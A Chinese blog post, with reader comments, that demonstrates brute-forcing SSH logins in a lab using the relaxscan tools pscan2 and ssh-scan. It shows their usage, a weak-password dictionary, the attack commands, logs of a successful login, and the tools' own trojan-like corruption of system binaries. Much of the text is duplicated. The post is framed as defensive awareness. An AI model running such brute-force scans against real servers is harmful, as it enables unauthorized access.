Jul
8
[原]演示使用relaxscan暴力破解SSH
由于安全意识不足,导致机器被入侵的例子多不胜数。最近不断接到有服务器被入侵,执行文件被修改的报障。原因大多都是因为开放了SSH服务,同时允许root访问,密码又过于简单的情况。为提出更有效的防范办法,决定做个攻击模拟。以下使用的工具是relaxsan,从网上可以很方便的找到,为免影响不好,我这里就不提供了,仅做个攻击演示。
一、获取工具
首先,我不知道为什么叫relaxscan,这东西是从Google搜的,来源自chinaunix某个博客中,某被入侵所提取的代码。
里面包括pscan2和ssh-scan这两个关键程序,及一些必须的文件:
二、攻击演示
1、演示服务器
2、创建一个普通用户
这步很重要,虽然没有pscan2的源码,但基本可以肯定的是,pscan2本身具有木马的特性。千万不要以root用户执行pscan2,记住!(网上有似乎有该程序的源码,但我不能肯定是否一样,但在后面的补充内容中,我会做个简单的测试,以说明这问题。)
3、扫描特定网段
切换到test用户,把relaxscan解压出来,给pscan2 赋予可执行权限:
pscan2 的用法:
扫描10.10.10 网段:
可见,找到该网段中有两个IP打开了SSH服务。
4、攻击特定IP的SSH服务
既然找到已打开SSH服务的机器IP,那就可以用ssh-scan 进行暴力破解了。破解的关键是字典文件pass_file ,该文件决定了攻击时间的长短和成功率。可以从网上获取一堆的字典,下面是我模拟的几个用户名和密码:
※ 千万不要忽视普通用户的登录,普通用户可通过一些root exploit 漏洞提升到root权限,届时,与通过root访问也没什么差别。
把上面通过pscan2得到的IP地址段,转存为mfu.txt文件,然后开始攻击:
在被攻击端的安全日志中,会显示大量的尝试记录,类似:
攻击的密度与您给ssh-scan提供的参数有关,参数越大,尝试越频繁。从上面的日志可看到,oracle用户尝试登录成功了。
在攻击端也会显示信息:
并记录在vuln.txt 文件中:
至此,攻击算是完成了。后续的,就是用该用户登录ssh,然后尝试exploit 到root等操作,这里不再叙述。
三、破坏系统可执行文件
本来,我是希望通过这次的模拟,产生类似下面的病毒文件:
可惜没效果。但通过实验,发现pscan2和ssh-scan 确实是有问题的。
1、原系统执行文件信息
找几个系统执行文件的当前信息:
2、以root权限运行pscan2或ssh-scan
结果,系统中的一些执行文件被修改:
这些文件都被加了8192字节(某些文件会加16384字节),导致这些文件损坏了:
表现形式很像木马程序。而且这些都是基本的执行文件,结果就是系统异常,修复也很困难。幸亏没感染能力,不会大规模传播。
一般可通过rpm -Va 找出被破坏的文件,然后重新安装对应的rpm包。但手续复杂,而且不能确保修复完整。
所以,尝试relaxscan前,请务必小心哦!
一、获取工具
首先,我不知道为什么叫relaxscan,这东西是从Google搜的,来源自chinaunix某个博客中,某被入侵所提取的代码。
里面包括pscan2和ssh-scan这两个关键程序,及一些必须的文件:
引用
pscan2 端口扫描工具,可对指定的网段中的IP,进行特定端口的扫描,找到满足要求的服务器后,会这些服务器IP记录到文件中;
ssh-scan 对指定的服务器进行暴力破解,其需要以下几个文件:
mft.txt 攻击的服务器IP列表,可由pscan2获得,每个IP一行;
pass_file 攻击用字典文件,每行由用户名+空格+密码组成,由ssh-scan自行调用,用于尝试进入ssh访问;
vuln.txt 成功入侵目标主机后的记录文件,会标注那些机器通过什么用户名和密码可以进入。
ssh-scan 对指定的服务器进行暴力破解,其需要以下几个文件:
mft.txt 攻击的服务器IP列表,可由pscan2获得,每个IP一行;
pass_file 攻击用字典文件,每行由用户名+空格+密码组成,由ssh-scan自行调用,用于尝试进入ssh访问;
vuln.txt 成功入侵目标主机后的记录文件,会标注那些机器通过什么用户名和密码可以进入。
二、攻击演示
1、演示服务器
引用
hacker:10.10.10.1/24 → 作为攻击端
target:10.10.10.10/24 →作为被攻击目标
target:10.10.10.10/24 →作为被攻击目标
2、创建一个普通用户
这步很重要,虽然没有pscan2的源码,但基本可以肯定的是,pscan2本身具有木马的特性。千万不要以root用户执行pscan2,记住!(网上有似乎有该程序的源码,但我不能肯定是否一样,但在后面的补充内容中,我会做个简单的测试,以说明这问题。)
# useradd test
# passwd test
# passwd test
3、扫描特定网段
切换到test用户,把relaxscan解压出来,给pscan2 赋予可执行权限:
引用
# su - test
$ id
uid=512(test) gid=512(test) groups=512(test)
$ cd relaxscan/
$ chmod +x pscan2
$ id
uid=512(test) gid=512(test) groups=512(test)
$ cd relaxscan/
$ chmod +x pscan2
pscan2 的用法:
引用
$ ./pscan2
Usage: ./pscan2 [c-block]
第一个参数是给出扫描的网段,必须是B类型的;
第二个参数是扫描的端口;
第三个参数是可选的,可进一步限制上面B类型网段中的C 段范围;
Usage: ./pscan2
第一个参数是给出扫描的网段,必须是B类型的;
第二个参数是扫描的端口;
第三个参数是可选的,可进一步限制上面B类型网段中的C 段范围;
扫描10.10.10 网段:
引用
$ ./pscan2 10.10 22 10
# scanning:
# pscan completed in 3 seconds. (found 2 ips)
$ cat 10.10.10.pscan.22
10.10.10.1
10.10.10.10
# scanning:
# pscan completed in 3 seconds. (found 2 ips)
$ cat 10.10.10.pscan.22
10.10.10.1
10.10.10.10
可见,找到该网段中有两个IP打开了SSH服务。
4、攻击特定IP的SSH服务
既然找到已打开SSH服务的机器IP,那就可以用ssh-scan 进行暴力破解了。破解的关键是字典文件pass_file ,该文件决定了攻击时间的长短和成功率。可以从网上获取一堆的字典,下面是我模拟的几个用户名和密码:
引用
$ cat pass_file
upload upload
root q1w2e3r4
root qwer1234
root qwer0987
root poiu7890
oracle oracle
ftp ftp
apache apache
nagios nagios
nginx nginx
lighttpd lighttpd
mysql mysql
postfix postfix
upload upload
root q1w2e3r4
root qwer1234
root qwer0987
root poiu7890
oracle oracle
ftp ftp
apache apache
nagios nagios
nginx nginx
lighttpd lighttpd
mysql mysql
postfix postfix
※ 千万不要忽视普通用户的登录,普通用户可通过一些root exploit 漏洞提升到root权限,届时,与通过root访问也没什么差别。
把上面通过pscan2得到的IP地址段,转存为mfu.txt文件,然后开始攻击:
引用
$ grep -v -w '10.10.10.1' 10.10.10.pscan.22 > mfu.txt
$ ./ssh-scan 100
Toata dragostea mea pentru diavola!!!!!!
$ ./ssh-scan 100
Toata dragostea mea pentru diavola!!!!!!
在被攻击端的安全日志中,会显示大量的尝试记录,类似:
引用
Jul 8 12:00:33 asianux3 sshd[2488]: Invalid user upload from 10.10.10.1
Jul 8 12:00:33 asianux3 sshd[2489]: input_userauth_request: invalid user upload
Jul 8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): check pass; user unknown
Jul 8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.10.1
Jul 8 12:00:33 asianux3 sshd[2488]: pam_succeed_if(sshd:auth): error retrieving information about user upload
Jul 8 12:00:36 asianux3 sshd[2488]: Failed password for invalid user upload from 10.10.10.1 port 2000 ssh2
Jul 8 12:00:36 asianux3 sshd[2489]: Received disconnect from 10.10.10.1: 11: Bye Bye
......
Jul 8 12:00:44 asianux3 sshd[2499]: Accepted password for oracle from 10.10.10.1 port 2005 ssh2
Jul 8 12:00:44 asianux3 sshd[2499]: pam_unix(sshd:session): session opened for user oracle by (uid=0)
Jul 8 12:00:33 asianux3 sshd[2489]: input_userauth_request: invalid user upload
Jul 8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): check pass; user unknown
Jul 8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.10.1
Jul 8 12:00:33 asianux3 sshd[2488]: pam_succeed_if(sshd:auth): error retrieving information about user upload
Jul 8 12:00:36 asianux3 sshd[2488]: Failed password for invalid user upload from 10.10.10.1 port 2000 ssh2
Jul 8 12:00:36 asianux3 sshd[2489]: Received disconnect from 10.10.10.1: 11: Bye Bye
......
Jul 8 12:00:44 asianux3 sshd[2499]: Accepted password for oracle from 10.10.10.1 port 2005 ssh2
Jul 8 12:00:44 asianux3 sshd[2499]: pam_unix(sshd:session): session opened for user oracle by (uid=0)
攻击的密度与您给ssh-scan提供的参数有关,参数越大,尝试越频繁。从上面的日志可看到,oracle用户尝试登录成功了。
在攻击端也会显示信息:
引用
$ L-amPrins... !! ->oracle:oracle:10.10.10.10
并记录在vuln.txt 文件中:
引用
$ cat vuln.txt
oracle:oracle:10.10.10.10
oracle:oracle:10.10.10.10
至此,攻击算是完成了。后续的,就是用该用户登录ssh,然后尝试exploit 到root等操作,这里不再叙述。
三、破坏系统可执行文件
本来,我是希望通过这次的模拟,产生类似下面的病毒文件:
可惜没效果。但通过实验,发现pscan2和ssh-scan 确实是有问题的。
1、原系统执行文件信息
找几个系统执行文件的当前信息:
引用
# ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root 25216 2010-03-02 /bin/cat
-rwxr-xr-x 1 root root 70632 2010-03-02 /bin/cp
-rwxr-xr-x 1 root root 35880 2010-03-25 /bin/more
-rwxr-xr-x 1 root root 78680 2010-03-02 /bin/mv
-rwsr-xr-x 1 root root 40432 2010-03-25 /bin/umount
-rwxr-xr-x 1 root root 25216 2010-03-02 /bin/cat
-rwxr-xr-x 1 root root 70632 2010-03-02 /bin/cp
-rwxr-xr-x 1 root root 35880 2010-03-25 /bin/more
-rwxr-xr-x 1 root root 78680 2010-03-02 /bin/mv
-rwsr-xr-x 1 root root 40432 2010-03-25 /bin/umount
2、以root权限运行pscan2或ssh-scan
结果,系统中的一些执行文件被修改:
引用
# ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root 33408 07-08 12:34 /bin/cat
-rwxr-xr-x 1 root root 78824 07-08 12:34 /bin/cp
-rwxr-xr-x 1 root root 44072 07-08 12:34 /bin/more
-rwxr-xr-x 1 root root 86872 07-08 12:34 /bin/mv
-rwsr-xr-x 1 root root 48624 07-08 12:34 /bin/umount
-rwxr-xr-x 1 root root 33408 07-08 12:34 /bin/cat
-rwxr-xr-x 1 root root 78824 07-08 12:34 /bin/cp
-rwxr-xr-x 1 root root 44072 07-08 12:34 /bin/more
-rwxr-xr-x 1 root root 86872 07-08 12:34 /bin/mv
-rwsr-xr-x 1 root root 48624 07-08 12:34 /bin/umount
这些文件都被加了8192字节(某些文件会加16384字节),导致这些文件损坏了:
引用
# cp
-bash: /bin/cp: cannot execute binary file
# mv
-bash: /bin/mv: cannot execute binary file
# umount
-bash: /bin/umount: cannot execute binary file
-bash: /bin/cp: cannot execute binary file
# mv
-bash: /bin/mv: cannot execute binary file
# umount
-bash: /bin/umount: cannot execute binary file
表现形式很像木马程序。而且这些都是基本的执行文件,结果就是系统异常,修复也很困难。幸亏没感染能力,不会大规模传播。
一般可通过rpm -Va 找出被破坏的文件,然后重新安装对应的rpm包。但手续复杂,而且不能确保修复完整。
所以,尝试relaxscan前,请务必小心哦!
shenfeng8101
2015/04/29 16:19
在吗?能加你QQ 请教你些问题吗? 413538101 我QQ
rem1x
2011/07/11 14:55
ssh密钥配置的学习成本几乎为0啊,客户有时候是最大的障碍
linuxing 回复于 2011/07/14 12:31
习惯和意识问题。
shom
2011/07/08 16:03
其实最安全最简单的方法就是使用RSA密钥,关闭密码及ROOT远程登陆。另外看你之前使用denyhosts阻止SSH被暴,其实还有另外一个选择fail2ban,它有更多服务保护,比如vsftp,dns...
linuxing 回复于 2011/07/11 11:51
嗯,完全同意,我自己管理的机器就是禁止密码,使用密钥登录的。但很多客户是不习惯用密钥,还是喜欢用密码的,这个强迫不了。有空我也试试fali2ban,^_^
分页: 1/1 1